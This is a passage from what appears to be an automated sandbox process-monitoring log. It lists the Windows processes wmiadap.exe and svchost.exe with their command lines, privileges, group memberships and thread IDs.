Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 150 os_tid = 0x7a0 Process: id = "17" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x5b52c000" os_pid = "0x6cc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x370" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 164 os_tid = 0x69c Thread: id = 165 os_tid = 0x774 Thread: id = 166 os_tid = 0x2c4 Thread: id = 167 os_tid = 0x324 Thread: id = 168 os_tid = 0x5b0 Thread: id = 169 os_tid = 0x330 Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x24f0e000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b7a5" [0xc000000f], "LOCAL" [0x7] Thread: id = 172 os_tid = 0x408 Thread: id = 173 os_tid = 0x5a8 Thread: id = 174 os_tid = 0x318 Thread: id = 175 os_tid = 0xb40 Thread: id = 176 os_tid = 0xaec Thread: id = 177 os_tid = 0x644 Thread: id = 178 os_tid = 0x648 Thread: id = 179 os_tid = 0x5f8 Thread: id = 180 os_tid = 0x5f0 Thread: id = 181 os_tid = 0x5ec Thread: id = 182 os_tid = 0x5d0 Thread: id = 183 os_tid = 0x12c Thread: id = 184 os_tid = 0x170 Thread: id = 185 os_tid = 0x3c0 Thread: id = 186 os_tid = 0x3b8 Thread: id = 187 os_tid = 0x3a8 Thread: id = 188 os_tid = 0x2fc Thread: id = 189 os_tid = 0x2f8 Thread: id = 190 os_tid = 0x2d4 Thread: id = 191 os_tid = 0x2cc